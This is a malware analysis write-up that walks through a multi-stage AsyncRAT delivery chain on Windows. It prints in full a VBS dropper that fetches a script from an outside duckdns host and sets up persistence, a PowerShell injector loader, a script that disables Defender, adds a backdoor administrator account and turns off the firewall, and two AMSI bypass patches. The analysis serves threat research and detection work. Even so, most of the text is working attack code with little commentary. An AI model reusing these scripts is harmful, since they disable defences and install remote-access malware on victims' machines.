Triage Malware Delivery Chain
Walking the delivery chain from VBS to PS to DOTNET
Overview
We are going to analyze a multi-stage delivery chain that ends up delivering AsyncRAT. This delivery chain has multiple stages that are responsible for preparing the target host for the delivery of the malware such that the host will likely not detect the final payload.
The sample comes from @james_inthe_box
https://twitter.com/James_inthe_box/status/1674105216575373312?s=20
Samples
Analysis
Stage 1 - VBS Script
'Hi, This is a good day for me and you , GoodBye ♥
on error resume next
Function YEKOQ(HIZHA,Path)
Set Req = CreateObject("Msxml2.XMLHttp.6.0")
Req.Open "GET", HIZHA, False
Req.send
CKDPR = Replace(Req.responseText, "BinaryChange", GJQBQ())
If Req.Status = 200 Then
HSHOG Path,CKDPR
End If
End Function
function GJQBQ()
GJQBQ = Replace("removed_pe_file","imHope","00")
end function
Sub SCLBY(MQTSY)
Dim TZPXW
Set TZPXW = CreateObject("Scripting.FileSystemObject")
TZPXW.DeleteFile(MQTSY)
End Sub
Sub HSHOG(ByVal MRADA, ByVal CCGCV)
On Error Resume Next
Dim XRJWL, UKUZG
Set XRJWL = CreateObject("Scripting.FileSystemObject")
If XRJWL.FileExists(MRADA) Then
Set UKUZG = XRJWL.OpenTextFile(MRADA, 8, True)
Else
Set UKUZG = XRJWL.CreateTextFile(MRADA, True)
End If
If Err <> 0 Then
Err.Clear
On Error Goto 0
Exit Sub
End If
UKUZG.WriteLine CCGCV
UKUZG.Close
Err.Clear
On Error Goto 0
End Sub
Function CCFRA(DOJVJ)
HSHOG DOJVJ,"PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command %cd%\BJUEL.ps1"
End Function
Function YSLLW(FPMNG)
HSHOG FPMNG,"on error resume next"
HSHOG FPMNG,"Set TLZDH = WScript.CreateObject(""WScript.Shell"")"
HSHOG FPMNG,"APPDATA = TLZDH.ExpandEnvironmentStrings(""%appdata%\WindowsServices"")"
HSHOG FPMNG,"WScript.Sleep(3000)"
HSHOG FPMNG," Set JXQIF = CreateObject(""Shell.Application"")"
HSHOG FPMNG,"JXQIF.ShellExecute APPDATA & ""\DOJVJ.cmd"", """", APPDATA, """", 0"
End Function
Function IBJWI(YDIAV)
Dim LXUUK, FPJYO
Set LXUUK = CreateObject("Scripting.FileSystemObject")
Set FPJYO = LXUUK.CreateFolder(YDIAV)
IBJWI = FPJYO.Path
End Function
Function TAWBD(AFOVN)
Dim LXUUK, EZIMG
Set LXUUK = CreateObject("Scripting.FileSystemObject")
set EZIMG = LXUUK.GetFile(AFOVN)
EZIMG.attributes = EZIMG.attributes + 4
EZIMG.attributes = EZIMG.attributes + 2
end Function
Function YRVPO(AFOVN,HOCKL)
Set JXQIF = CreateObject("Shell.Application")
JXQIF.ShellExecute AFOVN, "", HOCKL, "", 0
end Function
function AGJZU(AFOVN,FPMNG)
Set MMCVF = WScript.CreateObject("WScript.Shell")
DTHQX = MMCVF.ExpandEnvironmentStrings(AFOVN)
Set oLink = MMCVF.CreateShortcut(DTHQX)
oLink.TargetPath = MMCVF.ExpandEnvironmentStrings(FPMNG)
oLink.Save
end function
function XCKPZ()
On Error Resume Next
If Not WScript.Arguments.Named.Exists("elevate") Then
CreateObject("Shell.Application").ShellExecute WScript.FullName, """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
WScript.Quit
End If
On Error Resume Next
WScript.Sleep(1000)
With CreateObject("WScript.Shell")
.Run "powershell -Command Add-MpPreference -ExclusionPath '%Appdata%'", 0, True
.Run "powershell -Command Add-MpPreference -ExclusionExtension '.vbs'", 0, True
End With
WScript.Sleep 100
end function
function ALBME()
Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
end function
XCKPZ()
'ALBME()
Dim TLZDH
Set TLZDH = WScript.CreateObject("WScript.Shell")
APPDATA = TLZDH.ExpandEnvironmentStrings("%appdata%\WindowsServices")
STARTUP = TLZDH.ExpandEnvironmentStrings("%USERPROFILE%\Start Menu\Programs\Startup")
strCurDir = TLZDH.CurrentDirectory
IBJWI(APPDATA)
SCLBY(APPDATA & "\DOJVJ.cmd")
CCFRA(APPDATA & "\DOJVJ.cmd")
TAWBD(APPDATA & "\DOJVJ.cmd")
SCLBY(STARTUP & "\FPMNG.vbs")
YSLLW(STARTUP & "\FPMNG.vbs")
TAWBD(STARTUP & "\FPMNG.vbs")
SCLBY(STARTUP & "\WindowsServices-MMCVF.lnk")
AGJZU STARTUP & "\WindowsServices-MMCVF.lnk",STARTUP & "\FPMNG.vbs"
HIZHA = "http://tiny23.duckdns.org/paste.txt"
SCLBY(APPDATA & "\BJUEL.ps1")
YEKOQ HIZHA,APPDATA & "\BJUEL.ps1"
TAWBD(APPDATA & "\BJUEL.ps1")
WScript.Sleep(5000)
YRVPO APPDATA & "\DOJVJ.cmd",APPDATA
Stage 2 - PS Script
The script is downloaded from http[:]//tiny23.duckdns[.]org/paste.txt and contains three encoded data strings.
12599f668d7d7bfa6882e4f78f3523c14c7e5d02ee1f7d0379d17878caf91e07
- PS Script to kill Defender and setup env
- PS Script to bypass AMSI
- Binary .NET injector
try
{
} catch { }
start-sleep 3
Function asjdiwWWWW($Yatak) {
$byteList = [System.Collections.Generic.List[Byte]]::new()
for ($i = 0; $i -lt $Yatak.Length; $i +=8) {
$byteList.Add([Convert]::ToByte([String] $Yatak.Substring($i, 8), 2))
}
return [System.Text.Encoding]::ASCII.GetString($byteList.ToArray())
}
Function holakabutr([String] $IN) {
$RNBX1 = $IN.Replace('~','000').Replace('%','4')
$bytes = New-Object -TypeName byte[] -ArgumentList ($RNBX1.Length / 1+1+0)
for ($i = 0; $i -lt $RNBX1.Length; $i += 1+1+0) {
$bytes[$i / 2] = [Convert]::ToByte($RNBX1.Substring($i, 1+1+0), 6+10+0)
}
return [byte[]]$bytes
}
start-sleep 3
$CLE11 = ''
$CLE11 = 'BinaryChange'
$RNBX1 = 'pe_file_removed'
$tempfolder = $env:temp
$destinazione = $tempfolder + "\RegSvcs.exe"
$Path = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Copy-Item $Path -Destination $destinazione
Function MyFunciton($Var) {
return $Var.GetType('CALC.PAYSIAS')
}
try
{
[byte[]]$WULC4 = holakabutr($CLE11)
[byte[]]$YIV4Z = holakabutr($RNBX1)
$execute = (asjdiwWWWW("%1%%%1%1%1111%%%%11%%1%1%11%%%11%111%1%1%111%1%%%11%%1%1".Replace('%','0')))
$invoke = (asjdiwWWWW("0%00%00%0%%0%%%00%%%0%%00%%0%%%%0%%0%0%%0%%00%0%".Replace('%','1')))
$Path = $destinazione
$Path2 = ''
$Path3 = ''
try
{
$ncr3 = [Ref].Assembly
$ncrx3 = $ncr3::Load(($YIV4Z))
$TXN4Z = MyFunciton($ncrx3);
$MG5X = $TXN4Z.'GetMethod'($execute);
} catch { }
try
{
} catch { }
try
{
$MG5X.$invoke($null,[object[]] ($Path.Replace("%%",""),$WULC4));
$MG5X.$invoke($null,[object[]] ($Path2.Replace("%%",""),$WULC4));
$MG5X.$invoke($null,[object[]] ($Path3.Replace("%%",""),$WULC4));
$OASI4 = (asjdiwWWWW("ps_script_1".Replace('~','0').Replace('%','1')))
$OASI4 | .('{x}{9}'.replace('9','0').replace('x','1')-f'lun','%%').replace('%%','I').replace('lun','EX')
$DEF = (asjdiwWWWW("ps_script_2".Replace('~','0').Replace('%','1')))
$DEF | .('{x}{9}'.replace('9','0').replace('x','1')-f'lun','%%').replace('%%','I').replace('lun','EX')
} catch { }
} catch { }
Stage 3
PS Script 1 - Kill Windows Defender
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".ppam"
Add-MpPreference -ExclusionExtension ".xls"
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionExtension ".vbs"
Add-MpPreference -ExclusionExtension ".js"
Add-MpPreference -ExclusionPath C:\
Add-MpPreference -ExclusionPath D:\
Add-MpPreference -ExclusionPath E:\
Add-MpPreference -ExclusionPath C:\ProgramData\MEMEMAN\
Add-MpPreference -ExclusionProcess explorer.exe
Add-MpPreference -ExclusionProcess kernel32.dll
Add-MpPreference -ExclusionProcess aspnet_compiler.exe
Add-MpPreference -ExclusionProcess cvtres.exe
Add-MpPreference -ExclusionProcess CasPol.exe
Add-MpPreference -ExclusionProcess csc.exe
Add-MpPreference -ExclusionProcess Msbuild.exe
Add-MpPreference -ExclusionProcess ilasm.exe
Add-MpPreference -ExclusionProcess InstallUtil.exe
Add-MpPreference -ExclusionProcess jsc.exe
Add-MpPreference -ExclusionProcess Calc.exe
Add-MpPreference -ExclusionProcess powershell.exe
Add-MpPreference -ExclusionProcess rundll32.exe
Add-MpPreference -ExclusionProcess mshta.exe
Add-MpPreference -ExclusionProcess cmd.exe
Add-MpPreference -ExclusionProcess DefenderisasuckingAntivirus
Add-MpPreference -ExclusionProcess wscript.exe
Add-MpPreference -ExclusionIpAddress 127.0.0.1
Add-MpPreference -ThreatIDDefaultAction_Actions 6
Add-MpPreference -AttackSurfaceReductionRules_Ids 0
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -PUAProtection disable
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
New-Ipublicroperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
Stop-Service -Name WinDefend -Confirm:$false -Force
Set-Service -Name WinDefend -StartupType Disabled
net user System32 /add
net user System32 123
net localgroup administrators System32 /add
net localgroup "Remote Desktop Users" System32 /add
net stop WinDefend
net stop WdNisSvc
sc delete windefend
netsh advfirewall set allprofiles state off
- Using the string
DefenderisasuckingAntivirus
we can pivot and identify previous uses of the script
PS Script 2 - Bypass AMSI
start-sleep 23
# Disable Script Logging:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")
# Matt Graebers Reflection method:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Forcing an error:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
start-sleep 12
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
start-sleep 7
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("amsi.dll")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "AmsiScanBuffer)")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
AMSI Bypass
The difference between Powershell only & process specific AMSI bypasses
This patches out AmsiScanBuffer
with an error return code 0x80070057' 'parameter is incorrect
.
B8 57 00 07 80 mov eax, 0x80070057
C3 ret
.NET Injector
7142f2f2e3a0e56757d17d174df76b44a5bf41ef76d084c38f123ea660c31ee7
- protected with a free version of .net reactor which can be removed with de4dot
- simple process injector